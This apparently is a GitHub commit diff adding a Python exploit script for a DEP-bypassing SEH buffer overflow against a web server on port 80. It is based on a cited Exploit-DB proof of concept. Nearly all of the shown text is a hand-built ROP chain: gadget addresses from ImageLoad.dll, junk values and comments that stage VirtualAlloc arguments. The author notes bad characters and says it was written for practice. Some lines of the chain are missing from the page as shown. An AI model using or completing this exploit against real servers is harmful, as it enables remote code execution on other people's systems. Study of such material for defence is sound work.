You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
# - I wanted to re-do other PoCs because I did not want to use mona rop chain, so instead I built my own for practice and I believe it can help others.
13
+
# - The ROP chain was VERY challenging to build, mainly because there were a lot of limimitations when moving data between for example EAX and ESI
14
+
# - based on DEP SEH buffer overflow exploit by Knaps (https://www.exploit-db.com/exploits/38829/)
15
+
# - bad chars: '\x00' and '\x3b'
16
+
17
+
18
+
19
+
importstruct, sys, socket
20
+
21
+
22
+
host=sys.argv[1]
23
+
port=80
24
+
size=5000
25
+
26
+
27
+
rop=struct.pack("<I", 0x1001ba81) # # MOV EAX,EBP # POP EDI # POP ESI # POP EBP # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
28
+
rop+=struct.pack("<I", 0x41414141) # junk for pop edi
29
+
rop+=struct.pack("<I", 0x41414141) # junk for pop edi
30
+
rop+=struct.pack("<I", 0x41414141) # junk for ebp
31
+
rop+=struct.pack("<I", 0x1001db66) # : # POP ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
32
+
rop+=struct.pack("<I", 0xffffeff8) # pop esi to align eax, will point after the hybjks
33
+
rop+=struct.pack("<I", 0x10022f45) # # SUB EAX,ESI # POP EDI # POP ESI # RETN ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
34
+
rop+=struct.pack("<I", 0x41414141) # # SUB EAX,ESI # POP EDI # POP ESI # RETN ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
35
+
rop+=struct.pack("<I", 0x41414141) # # SUB EAX,ESI # POP EDI # POP ESI # RETN ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
rop+=struct.pack("<L", 0x1001a8e3) # put virtualalloc addr on stack # MOV DWORD PTR [ESI],EAX # OR EAX,0FFFFFFFF # POP ESI # POP EBX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
45
+
rop+=struct.pack("<L", 0x41414141) # junk pop esi
46
+
rop+=struct.pack("<L", 0x41414141) # junk pop ebx
47
+
rop+=struct.pack("<L", 0x1001d626) # prepare esi for another round XOR ESI,ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
48
+
rop+=struct.pack("<L", 0x10021a3e) # put original stack pointer in esi(RVA : 0x00021a3e) : # ADD ESI,EDI # RETN 0x00 ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
49
+
rop+=struct.pack("<L", 0x1001715d) # increase esi to point 4 bytes more (next arg) (RVA : 0x0001715d) : # INC ESI # ADD AL,3A # RETN ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
50
+
rop+=struct.pack("<L", 0x1001715d) #
51
+
rop+=struct.pack("<L", 0x1001715d) #
52
+
rop+=struct.pack("<L", 0x1001715d) #
53
+
# Virtual Alloc on stack
54
+
# Esi now has "SRP" we need to fill it
55
+
# EDI still points to orignal one (Virtual alloc)
56
+
57
+
58
+
rop+=struct.pack("<L", 0x1001f595) # Put SRP addr on eax MOV EAX,ESI # POP ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
rop+=struct.pack("<L", 0x10019457) # eax now points to x more (can be changed)
74
+
rop+=struct.pack("<L", 0x1001d626) # prepare esi for another round XOR ESI,ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
75
+
rop+=struct.pack("<L", 0x10021a3e) # put original stack pointer in esi # ADD ESI,EDI # RETN 0x00 ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
76
+
rop+=struct.pack("<L", 0x1001e80b) # This immedeately patches SRP and VirtualAlloc 1st arg! MOV DWORD PTR [ESI+8],EAX # MOV DWORD PTR [ESI+4],EAX # POP ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
77
+
rop+=struct.pack("<L", 0x41414141) # junk pop esi
78
+
79
+
# Virtual alloc | SRP | Shellcode Addr
80
+
# edi -> virtualalloc
81
+
82
+
rop+=struct.pack("<L", 0x1001d626) # prepare esi for another round XOR ESI,ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
83
+
rop+=struct.pack("<L", 0x10021a3e) # put original stack pointer in esi # ADD ESI,EDI # RETN 0x00 ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
84
+
rop+=struct.pack("<L", 0x1001715d) # increase esi to point 12 bytes more (->dwsize) # INC ESI # ADD AL,3A # RETN ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
0 commit comments